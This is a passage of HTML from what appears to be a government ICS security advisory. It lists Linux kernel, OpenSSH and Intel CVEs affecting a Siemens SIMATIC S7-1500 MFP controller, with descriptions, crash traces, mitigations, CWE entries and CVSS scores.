<tbody>
<tr>
<td>3.1</td>
<td>9.8</td>
<td>CRITICAL</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2023-51384</a></h3>
<div class="csaf-accordion-content">
<p>In ssh-agent in OpenSSH before 9.6, certain destination constraints can be incompletely applied. When destination constraints are specified during addition of PKCS#11-hosted private keys, these constraints are only applied to the first key, even if a PKCS#11 token returns multiple keys.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2023-51384">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/304.html">CWE-304 Missing Critical Step in Authentication</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2023-52927</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: netfilter: allow exp not to be removed in nf_ct_find_expectation Currently nf_conntrack_in() calling nf_ct_find_expectation() will remove the exp from the hash table. However, in some scenario, we expect the exp not to be removed when the created ct will not be confirmed, like in OVS and TC conntrack in the following patches. This patch allows exp not to be removed by setting IPS_CONFIRMED in the status of the tmpl.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2023-52927">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>4.7</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2024-26783</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: mm/vmscan: fix a bug calling wakeup_kswapd() with a wrong zone index With numa balancing on, when a numa system is running where a numa node doesn't have its local memory so it has no managed zones, the following oops has been observed. It's because wakeup_kswapd() is called with a wrong zone index, -1. Fixed it by checking the index before calling wakeup_kswapd(). &gt; BUG: unable to handle page fault for address: 00000000000033f3 &gt; #PF: supervisor read access in kernel mode &gt; #PF: error_code(0x0000) - not-present page &gt; PGD 0 P4D 0 &gt; Oops: 0000 [#1] PREEMPT SMP NOPTI &gt; CPU: 2 PID: 895 Comm: masim Not tainted 6.6.0-dirty #255 &gt; Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS &gt; rel-1.16.0-0-gd239552ce722-prebuilt.qemu.org 04/01/2014 &gt; RIP: 0010:wakeup_kswapd (./linux/mm/vmscan.c:7812) &gt; Code: (omitted) &gt; RSP: 0000:ffffc90004257d58 EFLAGS: 00010286 &gt; RAX: ffffffffffffffff RBX: ffff88883fff0480 RCX: 0000000000000003 &gt; RDX: 0000000000000000 RSI: 0000000000000000 RDI: ffff88883fff0480 &gt; RBP: ffffffffffffffff R08: ff0003ffffffffff R09: ffffffffffffffff &gt; R10: ffff888106c95540 R11: 0000000055555554 R12: 0000000000000003 &gt; R13: 0000000000000000 R14: 0000000000000000 R15: ffff88883fff0940 &gt; FS: 00007fc4b8124740(0000) GS:ffff888827c00000(0000) knlGS:0000000000000000 &gt; CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 &gt; CR2: 00000000000033f3 CR3: 000000026cc08004 CR4: 0000000000770ee0 &gt; DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 &gt; DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 &gt; PKRU: 55555554 &gt; Call Trace: &gt; &gt; ? __die &gt; ? page_fault_oops &gt; ? __pte_offset_map_lock &gt; ? exc_page_fault &gt; ? asm_exc_page_fault &gt; ? wakeup_kswapd &gt; migrate_misplaced_page &gt; __handle_mm_fault &gt; handle_mm_fault &gt; do_user_addr_fault &gt; exc_page_fault &gt; asm_exc_page_fault &gt; RIP: 0033:0x55b897ba0808 &gt; Code: (omitted) &gt; RSP: 002b:00007ffeefa821a0 EFLAGS: 00010287 &gt; RAX: 000055b89983acd0 RBX: 00007ffeefa823f8 RCX: 000055b89983acd0 &gt; RDX: 00007fc2f8122010 RSI: 0000000000020000 RDI: 000055b89983acd0 &gt; RBP: 00007ffeefa821a0 R08: 0000000000000037 R09: 0000000000000075 &gt; R10: 0000000000000000 R11: 0000000000000202 R12: 0000000000000000 &gt; R13: 00007ffeefa82410 R14: 000055b897ba5dd8 R15: 00007fc4b8340000 &gt;</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2024-26783">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2024-27056</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: wifi: iwlwifi: mvm: ensure offloading TID queue exists The resume code path assumes that the TX queue for the offloading TID has been configured. At resume time it then tries to sync the write pointer as it may have been updated by the firmware. In the unusual event that no packets have been send on TID 0, the queue will not have been allocated and this causes a crash. Fix this by ensuring the queue exist at suspend time.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2024-27056">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2024-28956</a></h3>
<div class="csaf-accordion-content">
<p>Exposure of Sensitive Information in Shared Microarchitectural Structures during Transient Execution for some Intel(R) Processors may allow an authenticated user to potentially enable information disclosure via local access.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2024-28956">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/1421.html">CWE-1421 Exposure of Sensitive Information in Shared Microarchitectural Structures during Transient Execution</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.6</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2024-36903</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: ipv6: Fix potential uninit-value access in __ip6_make_skb() As it was done in commit fc1092f51567 ("ipv4: Fix uninit-value access in __ip_make_skb()") for IPv4, check FLOWI_FLAG_KNOWN_NH on fl6-&gt;flowi6_flags instead of testing HDRINCL on the socket to avoid a race condition which causes uninit-value access.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2024-36903">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/362.html">CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.6</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L">CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2024-36927</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: ipv4: Fix uninit-value access in __ip_make_skb() KMSAN reported uninit-value access in __ip_make_skb() [1]. __ip_make_skb() tests HDRINCL to know if the skb has icmphdr. However, HDRINCL can cause a race condition. If calling setsockopt(2) with IP_HDRINCL changes HDRINCL while __ip_make_skb() is running, the function will access icmphdr in the skb even if it is not included. This causes the issue reported by KMSAN. Check FLOWI_FLAG_KNOWN_NH on fl4-&gt;flowi4_flags instead of testing HDRINCL on the socket. Also, fl4-&gt;fl4_icmp_type and fl4-&gt;fl4_icmp_code are not initialized. These are union in struct flowi4 and are implicitly initialized by flowi4_init_output(), but we should not rely on specific union layout. Initialize these explicitly in raw_sendmsg(). [1] BUG: KMSAN: uninit-value in __ip_make_skb+0x2b74/0x2d20 net/ipv4/ip_output.c:1481 __ip_make_skb+0x2b74/0x2d20 net/ipv4/ip_output.c:1481 ip_finish_skb include/net/ip.h:243 [inline] ip_push_pending_frames+0x4c/0x5c0 net/ipv4/ip_output.c:1508 raw_sendmsg+0x2381/0x2690 net/ipv4/raw.c:654 inet_sendmsg+0x27b/0x2a0 net/ipv4/af_inet.c:851 sock_sendmsg_nosec net/socket.c:730 [inline] __sock_sendmsg+0x274/0x3c0 net/socket.c:745 __sys_sendto+0x62c/0x7b0 net/socket.c:2191 __do_sys_sendto net/socket.c:2203 [inline] __se_sys_sendto net/socket.c:2199 [inline] __x64_sys_sendto+0x130/0x200 net/socket.c:2199 do_syscall_64+0xd8/0x1f0 arch/x86/entry/common.c:83 entry_SYSCALL_64_after_hwframe+0x6d/0x75 Uninit was created at: slab_post_alloc_hook mm/slub.c:3804 [inline] slab_alloc_node mm/slub.c:3845 [inline] kmem_cache_alloc_node+0x5f6/0xc50 mm/slub.c:3888 kmalloc_reserve+0x13c/0x4a0 net/core/skbuff.c:577 __alloc_skb+0x35a/0x7c0 net/core/skbuff.c:668 alloc_skb include/linux/skbuff.h:1318 [inline] __ip_append_data+0x49ab/0x68c0 net/ipv4/ip_output.c:1128 ip_append_data+0x1e7/0x260 net/ipv4/ip_output.c:1365 raw_sendmsg+0x22b1/0x2690 net/ipv4/raw.c:648 inet_sendmsg+0x27b/0x2a0 net/ipv4/af_inet.c:851 sock_sendmsg_nosec net/socket.c:730 [inline] __sock_sendmsg+0x274/0x3c0 net/socket.c:745 __sys_sendto+0x62c/0x7b0 net/socket.c:2191 __do_sys_sendto net/socket.c:2203 [inline] __se_sys_sendto net/socket.c:2199 [inline] __x64_sys_sendto+0x130/0x200 net/socket.c:2199 do_syscall_64+0xd8/0x1f0 arch/x86/entry/common.c:83 entry_SYSCALL_64_after_hwframe+0x6d/0x75 CPU: 1 PID: 15709 Comm: syz-executor.7 Not tainted 6.8.0-11567-gb3603fcb79b1 #25 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.3-1.fc39 04/01/2014</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2024-36927">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>4.7</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2024-42079</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: gfs2: Fix NULL pointer dereference in gfs2_log_flush In gfs2_jindex_free(), set sdp-&gt;sd_jdesc to NULL under the log flush lock to provide exclusion against gfs2_log_flush(). In gfs2_log_flush(), check if sdp-&gt;sd_jdesc is non-NULL before dereferencing it. Otherwise, we could run into a NULL pointer dereference when outstanding glock work races with an unmount (glock_work_func -&gt; run_queue -&gt; do_xmote -&gt; inode_go_sync -&gt; gfs2_log_flush).</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2024-42079">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/476.html">CWE-476 NULL Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2024-46786</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: fscache: delete fscache_cookie_lru_timer when fscache exits to avoid UAF The fscache_cookie_lru_timer is initialized when the fscache module is inserted, but is not deleted when the fscache module is removed. If timer_reduce() is called before removing the fscache module, the fscache_cookie_lru_timer will be added to the timer list of the current cpu. Afterwards, a use-after-free will be triggered in the softIRQ after removing the fscache module, as follows: ================================================================== BUG: unable to handle page fault for address: fffffbfff803c9e9 PF: supervisor read access in kernel mode PF: error_code(0x0000) - not-present page PGD 21ffea067 P4D 21ffea067 PUD 21ffe6067 PMD 110a7c067 PTE 0 Oops: Oops: 0000 [#1] PREEMPT SMP KASAN PTI CPU: 1 UID: 0 PID: 0 Comm: swapper/1 Tainted: G W 6.11.0-rc3 #855 Tainted: [W]=WARN RIP: 0010:__run_timer_base.part.0+0x254/0x8a0 Call Trace: tmigr_handle_remote_up+0x627/0x810 __walk_groups.isra.0+0x47/0x140 tmigr_handle_remote+0x1fa/0x2f0 handle_softirqs+0x180/0x590 irq_exit_rcu+0x84/0xb0 sysvec_apic_timer_interrupt+0x6e/0x90 asm_sysvec_apic_timer_interrupt+0x1a/0x20 RIP: 0010:default_idle+0xf/0x20 default_idle_call+0x38/0x60 do_idle+0x2b5/0x300 cpu_startup_entry+0x54/0x60 start_secondary+0x20d/0x280 common_startup_64+0x13e/0x148 Modules linked in: [last unloaded: netfs] ================================================================== Therefore delete fscache_cookie_lru_timer when removing the fscahe module.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2024-46786">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
